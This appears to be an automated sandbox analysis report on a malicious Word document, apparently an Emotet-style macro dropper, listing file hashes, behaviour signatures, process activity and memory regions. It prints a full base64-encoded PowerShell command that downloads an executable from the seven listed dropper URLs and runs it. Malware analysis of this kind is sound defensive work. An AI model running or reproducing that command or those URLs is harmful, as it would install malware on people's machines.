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Analysis

  • max time kernel
    121s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    27/05/2024, 18:26

General

  • Target

    7a14d7766a1a955fde9b170fc768e890_JaffaCakes118.doc

  • Size

    185KB

  • MD5

    7a14d7766a1a955fde9b170fc768e890

  • SHA1

    0975064d4d7731263cccf9a200bb64a12c89a895

  • SHA256

    75698eb6a16c78218f243d1afc6f799c7d69845d9d038d532d2732a2eaf3ef04

  • SHA512

    1b27bd174a14c5215288b753438cfe04417e1e32bb173b6fefb1a60edd2fa9bc201ee87f2ff7f88fdde1f026ec30c39d81ef559eb1c24abdee994794f3b5a7f2

  • SSDEEP

    1536:qI491Y2wcI491Y2w+4tcTv8kvjEuJ0dH5L0c4vs3ti18NmIIP4ovlnoR+a9HXljJ:A4tcTvjvTY140818tIP4ovpG1jnWPM

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://loungegangnam.com/4W/dz/

exe.dropper

http://indyoverheaddoors.com/wp-includes/pZ/

exe.dropper

http://geoffoglemusic.com/wp-admin/w/

exe.dropper

http://giral2.com/wp-includes/0e/

exe.dropper

https://www.lunalysis.com/wordpress/syb/

exe.dropper

http://farli.com/cgi-bin/jK/

exe.dropper

http://goldcoastoffice365.com/temp/wQ/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\7a14d7766a1a955fde9b170fc768e890_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2288
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1716
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e JABKAGkAdQA1AHcAawBxAD0AKAAoACcATwBpACcAKwAnAGEAJwApACsAJwA0AHkAJwArACcAbgB1ACcAKQA7ACYAKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAEUATgB2ADoAVQBTAGUAUgBQAHIATwBmAGkAbABlAFwAdAA2AGEAOABDAGsATQBcAHIARwBBAGkAXwBoAF8AXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIAZQBjAFQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBDAFUAUgBJAFQAYAB5AGAAcAByAG8AVABPAGAAQwBvAGwAIgAgAD0AIAAoACcAdABsACcAKwAoACcAcwAxADIALAAnACsAJwAgAHQAbABzADEAJwApACsAJwAxACcAKwAoACcALAAnACsAJwAgAHQAJwApACsAJwBsAHMAJwApADsAJABJAHMAZwB1AG4AMgB2ACAAPQAgACgAJwBDACcAKwAnADgAJwArACgAJwBfAGcAMABwAHYAJwArACcAMwAnACkAKQA7ACQAWgB5AGcAcwBnAGsAZQA9ACgAJwBYACcAKwAoACcAaABmACcAKwAnAGcAMwBrACcAKQArACcAcwAnACkAOwAkAEIAbgBzAGwAbgB0AG8APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAewAnACsAJwAwAH0AVAA2AGEAOABjAGsAJwArACcAbQAnACsAJwB7ADAAfQBSAGcAYQBpACcAKwAnAF8AJwArACcAaABfAHsAMAB9ACcAKQAgACAALQBGACAAIABbAEMAaABhAFIAXQA5ADIAKQArACQASQBzAGcAdQBuADIAdgArACgAKAAnAC4AJwArACcAZQB4ACcAKQArACcAZQAnACkAOwAkAFUAbgA2AGsAdQA2AGsAPQAoACgAJwBNAGYAJwArACcAYwAnACkAKwAoACcAaQA0ACcAKwAnAGwAOQAnACkAKQA7ACQASAAxADgAdwBnAGUAdgA9ACYAKAAnAG4AZQB3AC0AbwAnACsAJwBiAGoAZQAnACsAJwBjAHQAJwApACAAbgBlAFQALgBXAEUAQgBjAEwASQBlAG4AVAA7ACQAVAAwAHIAbgBrADYAOQA9ACgAKAAnAGgAdAB0ACcAKwAnAHAAJwApACsAJwA6AC8AJwArACgAJwAvACcAKwAnAGwAbwB1ACcAKQArACcAbgAnACsAJwBnACcAKwAoACcAZQBnACcAKwAnAGEAJwApACsAJwBuACcAKwAnAGcAbgAnACsAJwBhACcAKwAoACcAbQAuAGMAbwBtAC8AJwArACcANAAnACsAJwBXAC8AJwApACsAKAAnAGQAegAvACoAJwArACcAaAB0ACcAKQArACgAJwB0AHAAJwArACcAOgAvACcAKQArACgAJwAvACcAKwAnAGkAJwArACcAbgBkAHkAbwB2AGUAcgBoACcAKQArACcAZQAnACsAKAAnAGEAJwArACcAZABkAG8AbwAnACkAKwAoACcAcgBzAC4AJwArACcAYwBvAG0ALwAnACsAJwB3ACcAKQArACgAJwBwAC0AaQBuAGMAbAAnACsAJwB1ACcAKQArACgAJwBkAGUAcwAvACcAKwAnAHAAWgAnACkAKwAoACcALwAnACsAJwAqAGgAdAB0ACcAKQArACgAJwBwACcAKwAnADoALwAvACcAKQArACcAZwBlACcAKwAoACcAbwAnACsAJwBmAGYAbwBnACcAKQArACgAJwBsAGUAJwArACcAbQAnACsAJwB1AHMAJwArACcAaQBjAC4AYwBvAG0AJwApACsAJwAvAHcAJwArACgAJwBwACcAKwAnAC0AYQAnACkAKwAoACcAZABtACcAKwAnAGkAJwArACcAbgAvACcAKwAnAHcALwAqAGgAdAAnACsAJwB0AHAAOgAvAC8AJwApACsAKAAnAGcAaQByACcAKwAnAGEAbAAyACcAKQArACgAJwAuAGMAJwArACcAbwAnACsAJwBtACcAKwAnAC8AdwBwAC0AaQBuACcAKQArACcAYwAnACsAJwBsACcAKwAoACcAdQBkAGUAcwAvADAAJwArACcAZQAvACcAKQArACgAJwAqAGgAJwArACcAdAB0ACcAKQArACgAJwBwACcAKwAnAHMAOgAnACkAKwAoACcALwAvAHcAJwArACcAdwB3AC4AJwArACcAbAAnACkAKwAnAHUAbgAnACsAJwBhACcAKwAoACcAbAB5AHMAJwArACcAaQAnACsAJwBzAC4AYwAnACkAKwAoACcAbwBtACcAKwAnAC8AJwApACsAJwB3ACcAKwAnAG8AJwArACgAJwByACcAKwAnAGQAcAAnACkAKwAoACcAcgAnACsAJwBlAHMAcwAvAHMAeQAnACkAKwAnAGIAJwArACcALwAnACsAKAAnACoAJwArACcAaAB0AHQAJwApACsAKAAnAHAAJwArACcAOgAvACcAKQArACcALwAnACsAKAAnAGYAYQByAGwAJwArACcAaQAuAGMAJwApACsAKAAnAG8AbQAnACsAJwAvACcAKQArACcAYwBnACcAKwAnAGkALQAnACsAKAAnAGIAaQBuAC8AagAnACsAJwBLAC8AJwArACcAKgBoAHQAJwApACsAJwB0ACcAKwAnAHAAOgAnACsAJwAvAC8AJwArACgAJwBnACcAKwAnAG8AbABkAGMAbwAnACkAKwAnAGEAcwAnACsAJwB0AG8AJwArACgAJwBmACcAKwAnAGYAaQAnACkAKwAnAGMAZQAnACsAJwAzACcAKwAnADYAJwArACcANQAnACsAKAAnAC4AJwArACcAYwBvACcAKQArACcAbQAnACsAJwAvACcAKwAnAHQAJwArACcAZQAnACsAJwBtACcAKwAnAHAALwAnACsAJwB3ACcAKwAnAFEAJwArACcALwAnACkALgAiAHMAUABgAEwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAVQA0AHcAeABqADEAbwA9ACgAJwBYACcAKwAoACcAawAzAGcAbwAnACsAJwBtAGwAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABIAHkANAAzAGIAXwBtACAAaQBuACAAJABUADAAcgBuAGsANgA5ACkAewB0AHIAeQB7ACQASAAxADgAdwBnAGUAdgAuACIAZABvAGAAVwBuAGwATwBBAEQAYABGAGkATABFACIAKAAkAEgAeQA0ADMAYgBfAG0ALAAgACQAQgBuAHMAbABuAHQAbwApADsAJABOADMAZgBjADIAcwByAD0AKAAnAEoAJwArACcAdQAnACsAKAAnAGEAYgAnACsAJwBoADgAMQAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABCAG4AcwBsAG4AdABvACkALgAiAGwARQBuAGcAYABUAEgAIgAgAC0AZwBlACAAMwAxADUAOAA1ACkAIAB7ACYAKAAnAEkAbgB2AG8AawAnACsAJwBlAC0AJwArACcASQB0AGUAbQAnACkAKAAkAEIAbgBzAGwAbgB0AG8AKQA7ACQATgBwADAAegA2AGcAYwA9ACgAKAAnAFgAJwArACcAbwBrACcAKQArACcAZAAnACsAKAAnAGUAJwArACcAaQBmACcAKQApADsAYgByAGUAYQBrADsAJABNADEAYgBmADYANwBrAD0AKAAnAE0AagAnACsAJwB6ADEAJwArACgAJwBtADIAJwArACcAXwAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARQA4ADcAOQBtADkAeAA9ACgAKAAnAEMAZAA2ACcAKwAnAGUAJwApACsAKAAnAGgAYgAnACsAJwBqACcAKQApAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2432

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      6f23188ae75e18f741b83f6e84a709ad

      SHA1

      abd50cdbcb3ac0b4e98b0fbd557ae9a155d75bb7

      SHA256

      de658de39e74fa353fc4c421db644333d926479e8278177c9760287486fcde55

      SHA512

      e53eb87f317bb001f7ff873acc4c9b2effcd47396a86f0de20474f891026e85a30e0bf0b273faf923c87acc16b8612a4f37a5337417e76c251a0efcdc97a30e9

    • memory/2288-24-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/2288-17-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/2288-6-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/2288-7-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/2288-10-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/2288-8-0x0000000006330000-0x0000000006430000-memory.dmp

      Filesize

      1024KB

    • memory/2288-9-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/2288-11-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/2288-12-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/2288-13-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/2288-14-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/2288-23-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/2288-21-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/2288-20-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/2288-19-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/2288-18-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/2288-0-0x000000002FF31000-0x000000002FF32000-memory.dmp

      Filesize

      4KB

    • memory/2288-15-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/2288-2-0x00000000712CD000-0x00000000712D8000-memory.dmp

      Filesize

      44KB

    • memory/2288-16-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/2288-31-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/2288-33-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/2288-32-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/2288-28-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/2288-30-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/2288-29-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/2288-27-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/2288-26-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/2288-25-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/2288-34-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/2288-70-0x00000000712CD000-0x00000000712D8000-memory.dmp

      Filesize

      44KB

    • memory/2288-22-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/2288-69-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2288-50-0x00000000712CD000-0x00000000712D8000-memory.dmp

      Filesize

      44KB

    • memory/2288-51-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/2288-53-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/2288-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2432-41-0x0000000001E80000-0x0000000001E88000-memory.dmp

      Filesize

      32KB

    • memory/2432-40-0x000000001B800000-0x000000001BAE2000-memory.dmp

      Filesize

      2.9MB